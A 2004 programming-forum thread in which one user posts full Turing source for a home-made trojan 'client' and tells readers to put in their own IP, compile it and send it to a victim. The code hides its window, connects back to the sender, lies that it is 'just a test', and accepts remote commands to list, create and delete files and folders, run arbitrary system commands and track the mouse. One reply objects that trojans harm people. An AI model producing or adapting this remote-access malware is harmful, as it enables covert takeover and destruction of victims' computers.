Home made trojan for anyone interested...

Maverick · **Posted:** Thu Jan 22, 2004 8:31 pm

Why thank you, I feed on spam! Mr. Green

the_short1 · **Posted:** Mon Jan 26, 2004 5:47 pm

Hey Everyone.... 2 suggestions please.....

1) Edit your messages so only your first post has you signature with GIANT PICTURE, to limit number of pages.... like crap.. 4!..

2) Second... Shouldn't an Admin come and lock this up, as Trojans cause harm to people's PC's no mater how careful you are, and will always get into the wrong hands...IE..The little sh** that messed with compsci..

Please consider my 2 suggestions...

Homer_simpson · **Posted:** Tue Feb 03, 2004 11:21 pm

since enough ppl have been askin for this shiz i'm opensourcing the client... all u need to do is change yer ip inside the file and compile it...

it's pretty obvious what to do u run the file that yer supposed to run on yer comp on yer comp and send the one u compile to the bastard...

code:

var wd, fi, x, y, but : int := 0
var size, attribute, fileTime : int
function sort (fileName : string) : string
var ssr : string := ""
put fileName
ssr := fileName

for i : 1 .. 30 - Str.length (fileName)
ssr := ssr + " "
end for

result ssr
end sort
function getmyip (url : string) : string
var unetStream : int
var ipaddress : string
unetStream := Net.OpenURLConnection (url)
if unetStream > 0 then
loop
exit when eof (unetStream)
get : unetStream, ipaddress

end loop
Net.CloseConnection (unetStream)
end if
result ipaddress
end getmyip
function strlength (ss : string) : int
var i : int := 1
var s : string
s := ss + ";"
loop
if s (i) = ";" then
result i
end if
i := i + 1
end loop
end strlength

buttonchoose ("multibutton")
%View.Set ("graphics:300;100,position:left;bottom,nobuttonbar")
Window.Hide (Window.GetSelect)
%Window.Hide (Window.GetActive)
const chatPort : int := 6969
function strsize (s : string) : int
var i : int := 0
loop
i := i + 1
exit when s (i) = ";"
end loop
result i
end strsize

var com : int
var s : string
var cond : int := 1
var netStream : int
var netAddress : string
var streamNumber, success : int := 0
var fileName : string
var ch, ss : string := ""
var fn : string
var rdy : boolean
%netAddress := getmyip ("geocities.com/stmxpm/ipaddress.txt")
%netAddress := "24.156.28.84"
%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
netAddress :="Your ip address"%put yer ip address here!!!!
netStream := Net.OpenConnection (netAddress, chatPort)
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!

if netStream <= 0 then
put "Unable to connect to ", netAddress
return
end if
Draw.Cls
put "This is just a test nad wont do any damage to ur computer"
put "Connected to ", netAddress

%put : netStream, Net.LocalAddress
%delay (10)
%put : netStream, "]]]]"
%delay (10)
%put : netStream, Net.LocalName
%delay (10)
%put : netStream, "]]]]"
%delay (10)
put : netStream, "end"
com := 0

var tr, tr2 : int := 0
var rdy2 : boolean := false
clock (tr)
loop
if Net.LineAvailable (netStream) then %lineavailable o
clock (tr2)
get : netStream, s : *
exit when s = "quit"
case cond of
label 1 :
if s = "dir" then
com := 1
cond := 2
s := ""
put "recieved Dir Command"
end if
if s = "cd" then
com := 2
cond := 2
s := ""
end if
if s = "rmd" then
com := 3
cond := 2
s := ""
end if
if s = "run" then
com := 4
cond := 2
s := ""
end if
if s = "del" then
com := 5
cond := 2
s := ""
end if
if s = "dela" then
com := 6
cond := 2
s := ""
end if
if s = "msg" then
com := 7
cond := 2
s := ""
end if
if s = "chk" then
put : netStream, "c1"
delay (2000)
put : netStream, "end"
end if
if s = "mouse" then
loop
if Net.LineAvailable (netStream) then
get : netStream, s : *
exit when s = "end"
end if
mousewhere (x, y, but)
delay (100)
put : netStream, intstr (x, 4) + ";" + intstr (y, 4) + ";" + intstr (but, 4) + ";"
end loop
end if

label 2 :
if com = 1 then
loop
if Net.LineAvailable (netStream) then %lineavailablei
put "recieving trancmission"
get : netStream, s : *
exit
end if

end loop
put "address recieved :", s
delay (1000)
/* loop
streamNumber := Dir.Open (s)
loop
fileName := Dir.Get (streamNumber)
if fileName = "" then
rdy := true
end if
exit when fileName = ""
delay (40)
put : netStream, fileName
put "sent file ", fi
fi := fi + 1
end loop
Dir.Close (streamNumber)
delay (40)
put : netStream, "end"
exit when rdy or s = "quit"
end loop*/

loop
streamNumber := Dir.Open (s)
loop
Dir.GetLong (streamNumber, fileName, size, attribute, fileTime)
if fileName = "" then
rdy := true
end if
exit when fileName = ""
ss := sort (fileName)
if (attribute and ootAttrDir) not= 0 then
ss := ss + "Dir "

else
ss := ss + " "
end if
if (attribute and ootAttrRead) not= 0 then
ss := ss + "Rd "
else
ss := ss + " "
end if
if (attribute and ootAttrWrite) not= 0 then
ss := ss + "Wri "
else
ss := ss + " "
end if
if (attribute and ootAttrExecute) not= 0 then
ss := ss + "exec "
else
ss := ss + " "
end if
ss := ss + intstr (size)
delay (40)
put : netStream, ss
end loop
Dir.Close (streamNumber)
put : netStream, "end"
exit when rdy or s = "quit"
end loop
com := 0
cond := 1
end if

if com = 2 then

loop
rdy := false
if Net.LineAvailable (netStream) then %lineavailablei
get : netStream, s : *
exit when s = "quit"
Dir.Create (s)
delay (1000)
if Error.Last = eNoError then
put : netStream, "Directory~created"
put "Sending success message!"
com := 0
rdy := true
else
put "Sending Error message!"
put : netStream, "Did~not~create~the~directory."

put : netStream, "Error: ", Error.LastMsg

end if
delay (5)
put : netStream, "end"
exit when rdy

rdy := false
delay (5)
put : netStream, "end"
end if %lineavailablei
end loop
com := 0
cond := 1
end if %com=2

if com = 3 then

loop
rdy := false
if Net.LineAvailable (netStream) then %lineavailablei
get : netStream, s : *
exit when s = "quit"
Dir.Delete (s)
if Error.Last = eNoError then
put "Sending success message!"
put : netStream, "Directory~deleted"
com := 0
rdy := true
else
put "Sending Error message!"
put : netStream, "Did~not~create~the~directory."
put : netStream, "Error: ", Error.LastMsg
end if
delay (5)
put : netStream, "end"
exit when rdy

rdy := false
delay (5)
put : netStream, "end"
end if %lineavailablei
end loop
com := 0
cond := 1
end if %com=3

if com = 4 then

loop
rdy := false
if Net.LineAvailable (netStream) then %lineavailablei
get : netStream, s : *
exit when s = "quit"
system ((s), success)
if success = 0 then
put "Sending success message!"
put : netStream, "Command~completed~successfully"
rdy := true
com := 0
cond := 1
end if
if success not= 0 then
put "Sending Error message!"
if success = 127 then
put : netStream, "Sorry,~can't~find~'command.com'"
elsif success = 126 then
put : netStream, "Sorry,~no~room~to~runcommand"
else
put : netStream, "Sorry,~command~did~not~work"
end if
end if
delay (5)
put : netStream, "end"
exit when rdy

rdy := false
delay (5)
put : netStream, "end"
end if %lineavailablei
end loop
com := 0
cond := 1
end if %com=4
if com = 5 then

loop
rdy := false
if Net.LineAvailable (netStream) then %lineavailablei
get : netStream, s : *
exit when s = "quit"
File.Delete (s)
if Error.Last = eNoError then
put "Sending success message!"
put : netStream, "File~Delete"
rdy := true
else
put "Sending Error message!"
put : netStream, "Did~not~delete~the~file."
delay (5)
put : netStream, "Error:~" + Error.LastMsg
rdy := true
end if

delay (5)
put : netStream, "end"
exit when rdy

rdy := false
delay (5)
put : netStream, "end"
exit when rdy
end if %lineavailablei
end loop
com := 0
cond := 1
end if %com=5

if com = 6 then
loop
if Net.LineAvailable (netStream) then %lineavailablei
get : netStream, s : *
exit when s = "quit"
put s
streamNumber := Dir.Open (s)
loop
fileName := Dir.Get (streamNumber)
if fileName = "" then
rdy := true
end if
exit when fileName = ""
File.Delete ((s) + "/" + fileName)
end loop
Dir.Close (streamNumber)
delay (5)
put "Sending success message!"
put : netStream, "Job~done~;)"
put : netStream, "end"
exit when rdy
end if
end loop
com := 0
cond := 1
end if %com=6

if com = 7 then
put "Recieving message from server"
delay (1000)
wd := Window.Open ("position:top;center,graphics:600;200")
delay (1000)
loop
if Net.LineAvailable (netStream) then %lineavailablei
get : netStream, s : *
exit when s = "quit"
% if s = "]]]]" then
% put ""
%else
exit when s = "end"
put s
%end if
end if
end loop
Window.Close (wd)
com := 0
cond := 1
end if %com=7

end case
s := ""
%else %disconnection time

end if %lineavailable o

end loop

Homer_simpson · **Posted:** Wed Feb 04, 2004 6:11 pm

wtf!!!

Paul · **Posted:** Wed Feb 04, 2004 6:19 pm

looks like you posted the same thing 4 times, but ur a mod, so you can delete it easily right?

shorthair · **Posted:** Wed Feb 04, 2004 6:54 pm

Hmmmm, That was odd , but thanks for the source , ive always wanted to knwo how a couple of those things were donr , thatnks for the great app , Very Happy

Homer_simpson · **Posted:** Wed Feb 04, 2004 9:54 pm

this is the file u run on yer computer.... and u send the other compiled version of code to the bastard...

	Computer Science Canada Programming C, C++, Java, PHP, Ruby, Turing, VB Username: Password: Register
Wiki Blog Search Turing Chat Room Members